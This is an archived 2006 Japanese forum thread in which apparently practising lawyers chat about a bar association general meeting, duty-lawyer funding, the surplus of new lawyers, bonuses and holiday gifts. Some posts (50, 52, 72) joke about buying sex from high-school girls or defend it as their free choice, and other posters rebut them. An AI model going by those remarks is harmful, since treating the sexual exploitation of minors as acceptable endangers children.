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【今年の仕事】弁護士本音talkスレPart28【来年回し】

1 :MS754 ◆yGUnQdhyV2 :2006/12/06(水) 23:02:53 ID:2c+p9fe2
前スレ↓
【WELCOME】弁護士本音talkスレPart27【59期】
http://school5.2ch.net/test/read.cgi/shikaku/1162302786/
注意書き,リンク集などは>>2-10あたりに・・・


2 :MS754 ◆yGUnQdhyV2 :2006/12/06(水) 23:03:36 ID:2c+p9fe2

○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。
やさしい法律相談part197
http://school5.2ch.net/test/read.cgi/shikaku/1164770028/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。


3 :MS754 ◆yGUnQdhyV2 :2006/12/06(水) 23:04:08 ID:2c+p9fe2
過去スレその1
弁護士本音talkスレッド
http://school.2ch.net/test/read.cgi/shikaku/998739465/
http://yasai.2ch.net/shikaku/kako/998/998739465.html
【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/
【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611

4 :MS754 ◆yGUnQdhyV2 :2006/12/06(水) 23:04:54 ID:2c+p9fe2
過去スレその2
【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/
【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/
【お盆中も】弁護士本音talkスレPart24【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1153918884/
【貸金業法】弁護士本音25【改正or改悪?】
http://school5.2ch.net/test/read.cgi/shikaku/1157338815/
【秋の夜長】弁護士本音talkスレPart26【今夜も起案】
http://school5.2ch.net/test/read.cgi/shikaku/1159283071/
【WELCOME】弁護士本音talkスレPart27【59期】
http://school5.2ch.net/test/read.cgi/shikaku/1162302786/

5 :MS754 ◆yGUnQdhyV2 :2006/12/06(水) 23:05:59 ID:2c+p9fe2
関連スレ
【ドラマと】事務員本音talkスレ5頁目【大違い】
http://school5.2ch.net/test/read.cgi/shikaku/1145260846/
■裁判官の部屋 その3■
http://school5.2ch.net/test/read.cgi/shikaku/1137575282/
【スレ出身者】検事になりたいんですがその15【任官】
http://school5.2ch.net/test/read.cgi/shihou/1162023516/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/
裁判所書記官だけでマターリしようよvol.2
http://society3.2ch.net/test/read.cgi/koumu/1158853496/
裁判所事務官は力持ちvol.2
http://society3.2ch.net/test/read.cgi/koumu/1158565808/

6 :MS754 ◆yGUnQdhyV2 :2006/12/06(水) 23:06:41 ID:2c+p9fe2
【サイト集】
弁護士のためのサイト集(二弁知財法研究会)
http://www008.upp.so-net.ne.jp/niben-chizai/bengoshi-link.html
法令データ提供システム
http://law.e-gov.go.jp/cgi-bin/idxsearch.cgi
総本山
http://www.nichibenren.or.jp/
東弁
http://www.toben.or.jp/
一弁
http://www.ichiben.or.jp/
二弁
http://www.niben.jp/
裁判所
http://www.courts.go.jp/
岡口裁判官のページ
http://okaguchi.at.infoseek.co.jp/top.htm


7 :無責任な名無しさん:2006/12/06(水) 23:50:10 ID:JvJAQ8oN
初めてスレタイに採用されました。・゚・(ノД`)・゚・。うれぴー

8 :無責任な名無しさん:2006/12/07(木) 00:08:04 ID:6SZg3LG1
 「ヒマラヤ セイゴウ」つるし上げ

の方が良かろう。

 明日の日弁総会で,徹底的に暴れてやる。覚悟しろ。(と,取りあえず語気鋭く申し向けることとする )

9 :無責任な名無しさん:2006/12/07(木) 00:23:42 ID:ksKhgoyv
明日の総会,実況中継よろしくお願いします。

10 :無責任な名無しさん:2006/12/07(木) 00:30:09 ID:6SZg3LG1
>>9

 エアエッジ・パソコン(ムラマサ)持参で,実況中継する。
 ただし,実況中継料,30分宛5250円払ってくださいまし。
 請求書は,どこに回せばよいのか,自白してほしい。

11 :無責任な名無しさん:2006/12/07(木) 00:33:41 ID:6SZg3LG1
「tamago先生(元訟務検事の自称姉ちゃん)」に請求書を出したら,
まんまと騙されて,いわゆる「振り込め詐欺」に引っかかるかも知
れない。

12 :無責任な名無しさん:2006/12/07(木) 00:42:37 ID:6SZg3LG1
マタイによる福音書6章25−34節

6:25 それだから、あなたがたに言っておく。何を食べようか、何を飲もうかと、自分の命のことで思いわずらい、何を着ようかと自分のからだのことで思いわずらうな。命は食物にまさり、からだは着物にまさるではないか。
6:26 空の鳥を見るがよい。まくことも、刈ることもせず、倉に取りいれることもしない。それだのに、あなたがたの天の父は彼らを養っていて下さる。あなたがたは彼らよりも、はるかにすぐれた者ではないか。
6:27 あなたがたのうち、だれが思いわずらったからとて、自分の寿命をわずかでも延ばすことができようか。
6:28 また、なぜ、着物のことで思いわずらうのか。野の花がどうして育っているか、考えて見るがよい。働きもせず、紡ぎもしない。
6:29 しかし、あなたがたに言うが、栄華をきわめた時のソロモンでさえ、この花の一つほどにも着飾ってはいなかった。
6:30 きょうは生えていて、あすは炉に投げ入れられる野の草でさえ、神はこのように装って下さるのなら、あなたがたに、それ以上よくしてくださらないはずがあろうか。ああ、信仰の薄い者たちよ。
6:31 だから、何を食べようか、何を飲もうか、あるいは何を着ようかと言って思いわずらうな。
6:32 これらのものはみな、異邦人が切に求めているものである。あなたがたの天の父は、これらのものが、ことごとくあなたがたに必要であることをご存じである。
6:33 まず神の国と神の義とを求めなさい。そうすれば、これらのものは、すべて添えて与えられるであろう。
6:34 だから、あすのことを思いわずらうな。あすのことは、あす自身が思いわずらうであろう。一日の苦労は、その日一日だけで十分である。

聖書は新共同訳(日本聖書協会発行)からの引用です。著作権は以下の通りです。
(c)共同訳聖書実行委員会 / Executive Committee of The Common Bible Translation
(c)日本聖書協会 / Japan Bible Society , Tokyo 1987,1988




13 :無責任な名無しさん:2006/12/07(木) 01:08:22 ID:ksKhgoyv
>>10
振込送金の方法により支払うので支払先口座を指定されたし。

14 :黙秘権行使:2006/12/07(木) 01:13:23 ID:6SZg3LG1
>>13

 自白はしないから,当職をば被告として訴訟を起こして,調査嘱託申立なり,記録顕出申立なり,文書送付嘱託申立なりやってくれ。

15 :無責任な名無しさん:2006/12/07(木) 01:20:32 ID:ksKhgoyv
>>14
ひとまず実況実施の仮処分を申し立てようと思う。

16 :無責任な名無しさん:2006/12/07(木) 01:23:31 ID:ksKhgoyv
前に大揉めだった総会のときというのは,平成12年頃のことだろうか。
予備校の答練の解説担当だった講師の弁護士が,総会が延びたとのことで遅れてきたのを覚えている。

17 :無責任な名無しさん:2006/12/07(木) 02:00:49 ID:Tz23L+cq
前スレの964より

「地方大都市には弁護士は足りてます」
「地方過疎地ももう2年くらいで一杯です」

言い得て妙です

当単位会も新旧60期の受入れ能力は最早ありません

18 :無責任な名無しさん:2006/12/07(木) 02:19:40 ID:bh/t9O/T
うちは人口50万以上の地方都市だけど足りてますね。
新人を採ることが出来る事務所はいくつもないと思う。
事務所訪問希望の電話・メールは沢山来るけど…。

19 :黙秘権行使:2006/12/07(木) 03:10:01 ID:6SZg3LG1
 いわゆる「軒弁」に事務所の一室の間借りをさせようかなぁ,と思う今日この頃。
 ただし,刑事弁護(私選)は徹底的に鍛え抜いてあげるからな。
 星一徹(飛裕馬)みたいに「刑弁ガー養成ギプス」を嵌めて,10回くらいぶっころ
がせば,いっちょ前になると思う。

20 :無責任な名無しさん:2006/12/07(木) 05:20:43 ID:ZyhNAFh2
ただ、地方の人員がもっと増えないと2年半後の被疑者国選拡大に対応できない・・・


21 :無責任な名無しさん:2006/12/07(木) 05:42:00 ID:ZI/TApI7
法テラスがあるから大丈夫
修習生が100人ほど確保してあるそうなので全国にばらまけばよい

来年は千人ぐらい就職にあぶれるのかな?
今年の臨時総会出席の弁護士より暴れそう

22 :無責任な名無しさん:2006/12/07(木) 09:03:10 ID:lVwE5iWb
おぃ、クレサラ回らせて回収していくるなや。金融屋じゃないんだから・・・
バレタラどないするんや・・・バッヂが泣いてるで・・・

23 :無責任な名無しさん:2006/12/07(木) 09:08:04 ID:lVwE5iWb
C 先生これって法律に引っかかるんですか?
B 常識で考えればわかりますよ。
C 法律に引っかかりますか?
B あなた何したのかわかってますか?
C 法律に引っかかりますか?
B 他の方が聞いたらどちらが正しいと思いますか?
C 法律に引っかかりますか?
B 良心がないんですか?
C 法律に引っかかりますか?

繰返し

30分後
C わかりました払います。
B では一応、書類にサインして下さい。


24 :無責任な名無しさん:2006/12/07(木) 11:02:22 ID:ksKhgoyv
>>21
数年後,就職にあぶれた自宅弁護士が会員数の3分の1くらいを占めるようになって,総会に大挙して押し寄せて,執行部が悲惨な目に遭うことになるであろう。

25 :無責任な名無しさん:2006/12/07(木) 11:16:02 ID:ksKhgoyv
今のうちに,新試験によって弁護士資格を得た者については,議決権なき会員資格とする旨の会則変更をしていたらどうか?

26 :無責任な名無しさん:2006/12/07(木) 12:05:27 ID:vOSR7xHn
みなさんは自宅は持ち家?賃貸?
自分は,イソ弁3年目だけど,家買う予定。
子供も生まれるし。
でも,借金背負うのって怖いね。
半端じゃない金額だし…

27 :無責任な名無しさん:2006/12/07(木) 12:30:59 ID:+R9khWiS
>>24
たぶん会費は大幅に引き下げられているだろうし(人数が増えるのだから当然1人
当たりの単価が減るはず)、当番、ひまわり、その外各種活動も大削減になるだろ。


28 :無責任な名無しさん:2006/12/07(木) 12:39:07 ID:35wFIbjU
>>27
見通し甘いと思うよ
オレが登録してから弁護士は1万人増えてるのに,会費はむしろ上がってる
声を上げないとやっぱりダメだね
新人たちに期待してるよ

29 :無責任な名無しさん:2006/12/07(木) 12:41:51 ID:tVeo1j1r
>>22
ああいうことは書くべきじゃないよね

30 :無責任な名無しさん:2006/12/07(木) 12:42:51 ID:tVeo1j1r
彼女が中学生で 彼氏と初体験をしたクリスマスに
僕はいつものように テレビゲームをしていた

彼女が高校生で 汗だくで彼氏と抱き合っていたクリスマスに
僕は予備校に通い 勉強していた

彼女が大学生で 狂ったように彼氏と愛し合ったクリスマスに
僕はいつものように 独りで2chを見ながら笑っていた

彼女が社会人で 不倫相手と彼氏の二人と愛し合ったクリスマスに
僕は出張先の宿で 有料チャンネルを見ていた

彼女が35歳で 僕と出会った年のクリスマスに
すっかり緩みきって 使い古された身体に 僕は童貞をささげた


31 :無責任な名無しさん:2006/12/07(木) 12:48:16 ID:+R9khWiS
弁護士会以外に弁護士政治連盟があるように、公益活動弁護士連盟みたいな別団体を
もう一つ作って、希望者はそこに加入して当番等の公益活動をして、
弁護士会は設立目的に沿った活動に専念するようにしたらいいんじゃない?


32 :無責任な名無しさん:2006/12/07(木) 13:06:17 ID:MweYWVSD
>26
弁護士の信用がガタガタと落ちていく前に、住宅ローン組めてラッキーと
明るい方向に考えれば。あとは、頑張って稼いで返してくれ。

ところで、いつも各弁護士協同組合から特産品のオススメがバラバラと来るけど、
今回は冊子になって届いたので大事に取ってある。
比較的品質は良いと聞いたことはあるんだけど、何かお勧めある?
あるいは、これを頼んで美味しかったというのはあった?

33 :無責任な名無しさん:2006/12/07(木) 13:08:10 ID:o+lgLsDK
http://www.youtube.com/profile?user=yasuokawachi

34 :無責任な名無しさん:2006/12/07(木) 13:08:36 ID:tVeo1j1r
>>31
いらん

35 :無責任な名無しさん:2006/12/07(木) 13:13:32 ID:35wFIbjU
>>32
ネットであさった方が楽しいでつよ

36 :無責任な名無しさん:2006/12/07(木) 14:08:32 ID:tVeo1j1r
北千住の丸井は「○T○T」のロゴが逆さまになって「T○T○」になってる。
「千住」と数字の「1010」を掛けてこうしているらしい。
丸井もシャレがきいてるよな。もちろん全部嘘。

37 :無責任な名無しさん:2006/12/07(木) 14:14:08 ID:tVeo1j1r
http://nandemo.kir.jp/nandemo1/img-box/img20061204025300.jpg

38 :無責任な名無しさん:2006/12/07(木) 16:20:33 ID:8EAv8fPH
>>32
弁協の不動の人気商品は山形のさくらんぼだと聞いたことがある。
買ったことないけど。

39 :無責任な名無しさん:2006/12/07(木) 18:32:17 ID:ksKhgoyv
今日の総会議事録(客席録取速報版)よろしく!

40 :無責任な名無しさん:2006/12/07(木) 21:23:58 ID:8l91m7nh
3000人も受からせるのは辞めてくれ。
アホがうつる
なんでそんなことになってるんだ?

41 :無責任な名無しさん:2006/12/07(木) 21:46:22 ID:G7FC5Dq9
3000人問題の最もタチが悪い点は,その人数の根拠が法律でも政令でも行政処分でもなく,直接不利益を受ける者がいないため,法律上争いようがないことにある。

42 :無責任な名無しさん:2006/12/07(木) 21:49:05 ID:+BAARjLJ
>>41
3000人って.....
東弁って何人だったんだ?

43 :MS754 ◆yGUnQdhyV2 :2006/12/07(木) 22:17:58 ID:47iGeXD8
本日の果物
ミカン 1箱(10s)

累計
イチゴ(あまおう) 12パック リンゴ 16個
洋ナシ 9個  ミカン 2箱(10s)

そういえば、セイゴウ先生から喪中の葉書がきていました。

44 :無責任な名無しさん:2006/12/08(金) 01:22:53 ID:uh7M51s3
>>39

1-4一括上程

採決は個別
5月で特別会計は廃止される。
H21年まで徴収を延長
H19年3月末
日弁連が承継して,当番弁護士を支援センターに委託。

当番弁護士は,各単位会が継続する。
月額4200円のママ。

被疑者援助制度。

世論の支持を受けてきた。司法改革もこれを受けた。
外の経費を削って,4200円を捻出できないのか? この点について,シミュレーションはできないのか?

扶助協会の残余財産5億円を弁護士会が贈与を受ける。

贖罪寄付のお金が年間6億円。


45 :無責任な名無しさん:2006/12/08(金) 01:24:17 ID:uh7M51s3
>>39

3−4号議案

理由1 これら自主事業 刑事・少年は国費でやるべきもの。直接日弁連がやれば,本来事業家が遠のく。
2 全国的に実施可能な体制が必要。
3 日弁連が継続するとなると,費用が増大するばかりである。
4 扶助協会は現実的でない。主たる民事援助が支援センターに行ったので,扶助協会は脆弱になっている。

法律援助基金


外国人法律援助事業(支援センター主体の民事扶助では,適法な在留資格・日本に住所・居所を有するもの)とされているが,いわゆる自主事業に際してはどうなのか?

委託契約はどの様な内容になるのか?
委託事務費はいくらぐらいになるのか?

24年弁護士法 法律扶助が弁護士会を行う。しかし,年間数件。
27年 扶助協会設立。金が集まらない。
32年 年間数十件
裁判所から,予算を着けてくれるという提案。
法務省も出しましょうと言うことで,せめぎ合い。総会でもめる。独立性を害する。
結論法務省。年間1000万円
4000万 7000万

21億円 45億円。

414
7087
51


46 :無責任な名無しさん:2006/12/08(金) 01:26:15 ID:uh7M51s3
>>39

当番基金の説明はあるが,外の特別会計・基金がいくらぐらいあるのか?
上記の予算について,流用はできないのか?
一律負担を求めるものであるが,若手は,経済的基盤が弱い。低減措置は?
一般会費の低減について考えたのか?
赤字が増大するので継続する。
会内論議が必要である。

被疑者援助が支援センターと契約しないと使えない。
支援センターと契約しない弁護士は,免除していただきたい。
当番弁護士を痰としていないものからは,徴収しない。
懲戒されるのか?
14条 19条 29条に反しないか?

支援センターの評価
委託契約

1号 総数8642 5762

本人 賛成  7469 反対 1165 棄権 8
賛成 418 代理7002 会49
 55 1108 2 棄権 2 6 0

2号 数えず

3号


47 :無責任な名無しさん:2006/12/08(金) 01:56:06 ID:zgsaYDib
イソ弁でボナスが2本くらい出たんだけど、何に使おう・・・。

車とか乗らないし、特に欲しいものがないんだよなぁ。

48 :無責任な名無しさん:2006/12/08(金) 02:00:47 ID:4zpbjT+R
>>47
いいなあ
某報酬が2本でたけど,来年の税金用に消えるな....

49 :無責任な名無しさん:2006/12/08(金) 02:31:17 ID:zgsaYDib
まぁ、でも仕事ばっかりしていて彼女もいないし、気になっている子がいて
口説いているけど今のところ全然相手してもらえていないし、趣味もそんなに
お金かかる趣味じゃないし(2chとかw)、いまいち使い道がないんですよねぇ・・・。
思い切って愛人作ったりするには全然足りない額だし、、、


などと考えると暗くなりますな・・・、もともとの性格が暗いから仕方ないかw。

50 :無責任な名無しさん:2006/12/08(金) 02:41:13 ID:Uj7vQmww
女子高生が100人買えるお

51 :無責任な名無しさん:2006/12/08(金) 02:58:20 ID:zgsaYDib
女子高生は、その子が捕まると芋ずる式にケータイの番号とかで捕まる可能性が
あるから、やばいと思うのだが。(そのリスクを気にしない人もいるのであろうが・・・)

捕まったらほぼ確実に懲戒事由だしね。

52 :無責任な名無しさん:2006/12/08(金) 03:20:42 ID:4xm25kNO
高校3年生の18歳以上に限定すべし

53 :無責任な名無しさん:2006/12/08(金) 06:32:07 ID:tOA8NlP+
女子高生はヤメトケ。

「弁護士が女子高生を買春」って見出しは受けるよ。
ブンヤが喜び、
読者が馬鹿なヤツと顔をしかめ、
綱紀委員がいきり立つ。

何よりも、不祥事がある度に、
顧問会社のアイツ(法学部出の司試クヅレ)がオレの顔を見て、
話題にするのが気に入らん。

54 :無責任な名無しさん:2006/12/08(金) 10:01:54 ID:sCmU6xFK
援助交際をしてる女子高生が「被害者」として何時もおとがめなしなのはおかしいね。
立派な非行行為なのにね。

55 :無責任な名無しさん:2006/12/08(金) 11:00:01 ID:DxWvMiYC
家裁に在宅送致されているよ>援交の女子中高生

56 :無責任な名無しさん:2006/12/08(金) 12:45:46 ID:5oUWf/mP
>>50
児童を性的対象とする風潮を助長するような思想ですね。
 弁護士でもその程度の認識の人がいるのなら、早晩、だれか捕まるでしょうね。






57 :無責任な名無しさん:2006/12/08(金) 12:54:51 ID:/t+9tOHA
非弁だと思うよ。
レベルが低すぎる書き込みだから


58 :無責任な名無しさん:2006/12/08(金) 13:17:28 ID:9B0J8C6a
というかこのスレ、過半数は非弁だろ。
だって2ちゃんだぞ。


59 :無責任な名無しさん:2006/12/08(金) 14:49:21 ID:/t+9tOHA
衝撃画像!

事故の瞬間
http://ranobe.com/up/src/up155121.jpg
病院に運ばれた被害者
http://ranobe.com/up/src/up155120.jpg
車輪にまきこまれた痛ましい様子
http://ranobe.com/up/src/up155123.jpg
タイヤの下敷き
http://ranobe.com/up/src/up155124.jpg
集まった野次馬
http://ranobe.com/up/src/up155122.jpg
連行される容疑者
http://ranobe.com/up/src/up155125.jpg

60 :無責任な名無しさん:2006/12/08(金) 15:08:45 ID:uxQyLXdy
ぐろ注意

61 :無責任な名無しさん:2006/12/08(金) 15:09:23 ID:uxQyLXdy
ごめん。あげちゃった。

62 :無責任な名無しさん:2006/12/08(金) 15:30:25 ID:/t+9tOHA
>>59
写真1
 格好を付けたスポーツカーの後ろに横たわる小さな体。体が全体的に白い。その状況を呆然と見るヤツ
写真2
 意識はあるのだろうか。力なく横たわっている。手が白い。
写真3
 タイヤに力なくぺったり張り付いた感じ。意識はあるのか。
写真4
 耳が折れ曲がっている。もうろうとしている感じ。
写真5
 懸命に作業をしている奴らを物欲しそうに,しかし無関心そうに眺めている。人ごとか。
写真6
 手を挙げばたついているようであるが,がっちり捕まれている。

63 :無責任な名無しさん:2006/12/08(金) 16:25:49 ID:sCmU6xFK
cam見たけど、某公設事務所の弁護士ってすごいな。いろんな意味で。

64 :無責任な名無しさん:2006/12/08(金) 18:11:37 ID:Fzd1fZ1P
camって何?

65 :無責任な名無しさん:2006/12/08(金) 18:14:15 ID:hWd9CGXC
えびちゃんや山田優が活躍している女性月刊誌。

66 :無責任な名無しさん:2006/12/08(金) 18:20:40 ID:/t+9tOHA
俺はseventeenを愛読しているけどな

67 :無責任な名無しさん:2006/12/08(金) 20:36:47 ID:8WdFVMD8
ご意見よろしく

http://school5.2ch.net/test/read.cgi/shikaku/1165567935/

68 :無責任な名無しさん:2006/12/08(金) 22:00:13 ID:0wLBOO8B
>>67
相談料は先払いです。

69 :無責任な名無しさん:2006/12/08(金) 22:23:37 ID:Uj7vQmww
>>65
そらキャンキャンやがな

キャンキャンゆうたら小泉今日子か?

そらキョンキョやがな






70 :無責任な名無しさん:2006/12/08(金) 22:27:52 ID:csRA1JhT
ぴょんぴょん跳ねて,お札を貼ると大人しくなる。顔色が悪い。中国風の衣裳。

71 :無責任な名無しさん:2006/12/08(金) 22:35:17 ID:Uj7vQmww
そら八丈島のきょんやがな

72 :無責任な名無しさん:2006/12/08(金) 23:00:17 ID:zTiZZL6t
>>56
女子高生が児童と言えるんだろうか
戦前なら嫁にやられたり、女郎屋に売られてた年ごろだ
自由意思で体を売ってるんだから、人権国家のたまものとみるべきだろう

73 :無責任な名無しさん:2006/12/08(金) 23:03:04 ID:Uf1qSnQQ
>>72
非弁さん
「児童」の定義が法律に書いてあるんですよ
法律読んで合格してから出直してね

74 :無責任な名無しさん:2006/12/08(金) 23:11:14 ID:Uj7vQmww
法律に携わる人って頭悪いね
児童って小学生ぐらいのことをいうんだよ
弁護士って誰も疑問に感じないのかな
日本語を学びなおしたほうがいいよ

75 :無責任な名無しさん:2006/12/08(金) 23:14:12 ID:Uf1qSnQQ
児童買春ポルノ禁止法で禁止される児童買春や児童ポルノの定義は
18歳未満と国会の代議士先生が決めたのよ
日本語の問題じゃなくて罪刑法定主義の問題

76 :無責任な名無しさん:2006/12/08(金) 23:15:42 ID:Uf1qSnQQ
50 名前:無責任な名無しさん[sage] 投稿日:2006/12/08(金) 02:41:13 ID:Uj7vQmww
女子高生が100人買えるお
69 名前:無責任な名無しさん[sage] 投稿日:2006/12/08(金) 22:23:37 ID:Uj7vQmww
>>65
そらキャンキャンやがな
キャンキャンゆうたら小泉今日子か?
そらキョンキョやがな
71 名前:無責任な名無しさん[sage] 投稿日:2006/12/08(金) 22:35:17 ID:Uj7vQmww
そら八丈島のきょんやがな
74 名前:無責任な名無しさん[sage] 投稿日:2006/12/08(金) 23:11:14 ID:Uj7vQmww
法律に携わる人って頭悪いね
児童って小学生ぐらいのことをいうんだよ
弁護士って誰も疑問に感じないのかな
日本語を学びなおしたほうがいいよ

非弁確定

77 :無責任な名無しさん:2006/12/08(金) 23:49:49 ID:drVDyOKD
すみません。質問します。

私は、いわゆる非弁で、民事訴訟の原告だった者です。
この度、民事訴訟が訴訟上の和解ということで終結し、報酬も最初の契約(旧法律扶助協会との契約)の倍額支払いました。
それによって事件が完全に終結し、委任契約も終了したのですが、事件が終了していても弁護士の先生や事務所の職員の方々を労うためにお歳暮を贈りたいと思っています。
受け取る側としては、事件が終結していてもやっぱりうれしいものなのですか?

78 :無責任な名無しさん:2006/12/08(金) 23:54:54 ID:0ZdKYW08
>>77
メロンなら。
みかんはNo Thank youらしい(笑)

79 :無責任な名無しさん:2006/12/08(金) 23:55:53 ID:Uf1qSnQQ
心のこもったものなら,手製のブローチでもウレピーですよ

80 :無責任な名無しさん:2006/12/09(土) 00:04:43 ID:bUeMKnl8
はっきり言って昭和の司法試験は楽だし…

人の不幸で成り立つ職業。

年収1000万以上の弁護士は勘違いお馬鹿やろう。

81 :無責任な名無しさん:2006/12/09(土) 00:12:08 ID:5jjy3fXN
>>80

>はっきり言って昭和の司法試験は楽だし…

統計学を勉強してからきてください。

82 :77:2006/12/09(土) 00:14:40 ID:VydVowY6
>>78
>>77です。
メロンは季節外れですね。
メロンは夏ですから。

少なくともみかんではありませんので、OKですか?

83 :無責任な名無しさん:2006/12/09(土) 00:22:05 ID:gJUBq/gG
>>82
>>1のスレ立てせんせは、冬でもメロンが食べたいらしい。
って意味なので、品物の中身はあんまり本気にしないで。
何が良いかは事務員さんに聞いてみれば?
(あんまりメロンが続くので、事務員さんがせんせの意思とは違い、「メロンは止めてください」
って、影で言ってる疑惑も、昨夏からありますがw<某せんせ)

84 :無責任な名無しさん:2006/12/09(土) 00:23:50 ID:bUeMKnl8
>>81
それは合格者数の話

私が話ているのは問題の話

85 :77:2006/12/09(土) 00:33:55 ID:VydVowY6
>>83
>>77です。
レスありがとうございます。

> >>1のスレ立てせんせは、冬でもメロンが食べたいらしい。
> って意味
ああ、そういうことですか。
でも、冬にメロンて結構至難の業ですよねw
> 品物の中身はあんまり本気にしないで。
了解です。
> 何が良いかは事務員さんに聞いてみれば?
そうですね。
私としては、
一度贈ったものはできるだけ避ける(ただし好評だったものは除く)
アレルギー物質が含まれるものは出来るだけ避ける
出来るだけみんながみんなで食べられるものを選ぶ
という方針です。

86 :無責任な名無しさん:2006/12/09(土) 00:55:47 ID:RLyc15MT
弁護士は統計学は知らんだろ。
少なくとも俺はさっぱりだが・・

87 :無責任な名無しさん:2006/12/09(土) 01:07:42 ID:cmfPASca
知ってることは、新司法試験の1期目の奴らの中には、旧試験の択一で箸にも棒にもかからなかった奴らが多数居るってことだけだ

88 :無責任な名無しさん:2006/12/09(土) 01:13:00 ID:rO3UjtP8
>>78
みかん段ボールは俺はうれしいけど。
ちょっと小腹が空いたときに食べられるから。ビタミンCもとれるし。

89 :無責任な名無しさん:2006/12/09(土) 01:23:19 ID:bUeMKnl8
>>87
そうですね。
あなた驕りが強いですね。

90 :無責任な名無しさん:2006/12/09(土) 01:40:29 ID:cmfPASca
驕りねぇw
端的に事実を指摘したまでですよ。
あなたのことを言ったわけではありませんから。


91 :無責任な名無しさん:2006/12/09(土) 01:50:17 ID:oHAmHAkJ
お前らの学歴は?

92 :無責任な名無しさん:2006/12/09(土) 02:28:04 ID:GdXAaLZ+
物は要らない、愛が欲しい・・・。





でも、依頼人から愛を貰うとやばいから、やっぱいいやw

93 :無責任な名無しさん:2006/12/09(土) 02:47:35 ID:cmfPASca
慶応義塾です。

94 :無責任な名無しさん:2006/12/09(土) 11:23:41 ID:JR8k6Zxb
MS先生の人気に嫉妬。

95 :無責任な名無しさん:2006/12/09(土) 12:02:07 ID:TPwKU05U
>>94
2チャンのような短文でも、人柄が分かりますね。
ましてや、訴状や準備書面では、おつむの程度がアリアリと。
狭い法曹世界、長い弁護士生活、これから生きていくのが怖くなる。

96 :無責任な名無しさん:2006/12/09(土) 12:16:42 ID:MiidyST9
>cam見たけど、某公設事務所の弁護士ってすごいな。いろんな意味で。

公設で生き生きしてるのは結構だけど、都会に帰ったとたんに
○○ということにならなきゃいいけどね。

そう言えば、みかちゃんは「公設の母」wと自分でアピールしてたけど、
最近、めっきりと話を聞かなくなったね。




97 :無責任な名無しさん:2006/12/09(土) 12:23:46 ID:DubWTPKT
>>71
キョンシーも知らんのか。

98 :無責任な名無しさん:2006/12/09(土) 14:32:04 ID:Qz26+36f
>>96
そういえば、過去には公設から都会に帰った途端うつになって・・・という
弁護士もいたなぁ。合掌。

99 :無責任な名無しさん:2006/12/09(土) 14:53:33 ID:+ngLUyaG
いそ弁。最近2年近く、事務所に大型管財事件が来なくなった。
クルのは、小口のみ。
いそ弁としては嬉しい限りだが、事務所大丈夫かな・・・


100 :無責任な名無しさん:2006/12/09(土) 14:56:02 ID:WO02kSvP
>>98
そうなの?
一生公設にいる,という選択肢はないのか
恐ろしいな

101 :無責任な名無しさん:2006/12/09(土) 16:02:01 ID:k+9QYkS7
公設のできるところは弁護士がいないから嫌でも仕事が来るし、ちやほやされる
それを自分の実力と勘違いする弁護士もいるのだろう
特に若くしていくと、都会に復帰するのが大変だと思う
むしろ骨を埋めるほうがいいと思うのだが…

102 :無責任な名無しさん:2006/12/09(土) 16:25:41 ID:gRFyRl69
うーん、その言い方じゃ当事者は気を悪くするだろうね。
「勘違いする弁護士もいるのだろう」と言ってるだけで、
全員が全員そうだと言ってるわけじゃないのは判るけど。

今までの流れで出てきた某公設の人に関しては勉強
熱心だし、どこでもきちんとしたした仕事ができる人と
いう印象があるな。

危ないのは、「○○について教えてください」とか、他人
の成果をもらってばかりで、自らの力で解決しようとして
いない人。

103 :無責任な名無しさん:2006/12/09(土) 16:44:02 ID:Qz26+36f
>>100
去年の秋ころだったと思う。詳しくはググッて見て。
